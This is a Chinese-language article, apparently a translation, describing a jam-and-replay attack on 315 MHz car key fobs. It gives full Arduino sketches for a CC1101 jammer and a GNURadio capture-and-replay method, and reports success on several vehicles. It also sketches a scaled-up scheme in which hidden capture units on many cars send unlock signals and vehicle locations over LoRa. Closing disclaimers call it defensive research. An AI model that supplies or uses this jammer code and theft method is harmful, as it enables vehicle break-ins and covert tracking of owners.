在最近幾年,入侵汽車在當代社會的黑客圈中成為熱點,很多文章表明汽車產業還有很多東西等待完善,在本篇文章中,我會讓你熟悉我一直研究的一些概念,以及如何在網狀網絡中使用一些便宜的部件滲透遠程開門系統。
軟件無線電
Software-defined radio(SDR)即軟件無線電,它是一種實現無線通信的新概念和體制。其中已在硬件上被實現的組件(例如混頻器,濾波器,放大器,調制器/解調器,檢測器等)可以通過軟件手段在個人計算機上或嵌入式系統中被代替,即很多功能是在軟件平台上實現的。雖然SDR不是一個新概念,但是隨着數字電子學的飛速發展,很多東西從理論可行轉變為實際可行。
然而大多數SDR設備都非常昂貴,特別是HackRF,BladeRF等等,如果你在尋找最便宜的方案,那么RTL2382U是個不錯的選擇,它們在Ebay上只需大約15美元。
這是我的RTL2382U以及一個天線。
這是另一個,我沒有停止用它,因為我在用它后面的GPS模塊。
使用這個設備和Linux機器連接起來,然后用HDSDR查看按鍵時的實時情況。
如你所見,寶馬汽車制造商使用頻段315Mhz,屏幕上的紅線是我按下按鈕時出現的。
當受害者走向他們的汽車並且按下解鎖鍵時,信號就會被發送到汽車,然后門就會被解鎖,所以我們需要在這一切發生之前攔截所有交互。
如何制作一個干擾器
在這部分,我在ebay上購買了一些CC1101無線射頻收發器,我們將通過這些,使用ardunio nano板來實施攔截和重放。
如上圖,我們有兩個CC1101收發器連接在ardunio nano上,任何手機都可以為nano供電,根據其收發強度,其有效范圍可達10米。
這個沒有太多技術含量,我修改了panstamp庫來使其在315Mhz上工作,因為原本的庫在433Mhz,868Mhz和915Mhz上工作,而這些頻段我們都不需要。接下來我們需要找出315頻段的頻譜中的highbyte,middlebyte和lowbyte。
低,中,高是三個寄存器,其值可以改變工作頻率。我使用的是12:29:137。
必須注意的是,在美國境內使用干擾器是非法的,這篇文章中的任何成功攻擊的信息都被移除,它只提供了使用的基礎且沒有深入,感謝理解!
#include "EEPROM.h" #include "cc1101.h" CC1101 cc1101; // The LED is wired to the Arduino Output 4 (physical panStamp pin 19) #define LEDOUTPUT 7 // counter to get increment in each loop byte counter; byte b; byte syncWord = 199; void blinker(){ //digitalWrite(LEDOUTPUT, HIGH); //delay(100); //digitalWrite(LEDOUTPUT, LOW); ///delay(100); } void setup() { //Serial.begin(38400); Serial.begin(9200); Serial.println("start"); // reset the counter counter=0; Serial.println("initializing..."); // initialize the RF Chip cc1101.init(); cc1101.setSyncWord(&syncWord, false); cc1101.setCarrierFreq(CFREQ_315); cc1101.disableAddressCheck(); //cc1101.setTxPowerAmp(PA_LowPower); //Serial.print("CC1101_PARTNUM "); //cc1101=0 Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER)); //Serial.print("CC1101_VERSION "); //cc1101=4 Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER)); //Serial.print("CC1101_MARCSTATE "); Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f); } void send_data() { CCPACKET data; data.length=1000; data.data[0]=10; data.data[2]=1; data.data[3]=1; data.data[4]=0; //cc1101.flushTxFifo (); Serial.print(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER)); if(cc1101.sendData(data)){ send_data(); } } void loop() { send_data(); }
上面的代碼是我在使用CC1101時發現的,對我們來說效果不是特別好。
我首先要直接發送一個脈沖信號來阻止所有其他信號。在數據數組中填充1似乎是不錯的主意。
#include "EEPROM.h" #include "cc1101.h" CC1101 cc1101; CCPACKET data; void setup() { // initialize the RF Chip cc1101.init(); // For 315 MHz -> 0C1D8A // 0C1D8A gives 315000061.03515625 Hz cc1101.writeReg(CC1101_FREQ2, 0x0C); // Set Transmitter cc1101.writeReg(CC1101_FREQ1, 0X1D); // freq to cc1101.writeReg(CC1101_FREQ0, 0x8A); // 315 MHz data.length = 100; for(int a = 0; a < 100; a++) { data.data[a]= 1; // Filling the data array } } void loop() { cc1101.sendData(data); }
當受害者按下解鎖按鈕時,信號首先被攔截,然后干擾信號(我們稱之為signalX)被捕獲並保存,隨后我們將使用GNURadio來從原始的鑰匙信號信號(我們稱之為signalY)中分離出我們創建的實際干擾信號。當受害者再次按下解鎖按鈕時,我們原來保存的signalX就被發送給汽車,signalY在稍后可以重放來解鎖同一輛車。當信號被捕獲時,你需要進行逆向才能發回。我使用GNURadio接收並解調原來的ASK信號,將其變成二進制調制波形,之后我可以用來重放。
振幅偏移調變(ASK)是振幅調制的一種形式,表示數字數據作為載波振幅的變化。在ASK系統中,通過在T秒的持續時間內傳送固定幅度載波和固定頻率來表示二進制1。如果信號值1不發送,則為0。
這個系統有用嗎?
有用,我在兩輛車和一輛卡車上測試了這個,都成功的打開了車門。可怕的是,任何人都可以花費不多的美元來實現這個系統;更可怕的是,SDR設備的價格正在穩步下滑,在這種情況下獲取一個定制的設備會變得更加容易。
進階
經過批量攻擊概念的證明,我寫了一些東西,證明了這種攻擊不僅可以一次攻擊一輛車,還可以一次攻擊數百輛的汽車。下面是一些關鍵點。
購買捕獲設備(我們稱之為veh1),通過磁鐵吸附在汽車下面,
當對方的密鑰信號被捕獲和解調時,我們想通過網狀網絡發送這個信號。
Wifi或者藍牙的距離不足以傳輸信號,我會使用的LoRa(長距離低功耗無線通訊技術),其有效范圍可達15英里。
veh1連接到其中心設備,並將其二進制調制波形發送出去。
如果能搭建一個類似發送包的網絡就更好了,給每一個設備一個名字,這樣一來你就知道那個設備對應的是哪輛車了。
收集數據:車輛名稱,顏色,位置和重放攻擊數據。
將其放置在任何車輛上,中央設備可以在幾分鍾內完成。
必須注意的是,在中國使用干擾器也是非法的,這篇文章中的任何成功攻擊的信息都被移除,它只提供了基礎的思路且沒有深入。該文章僅供研究如何防范,感謝理解!
原文鏈接:anthonys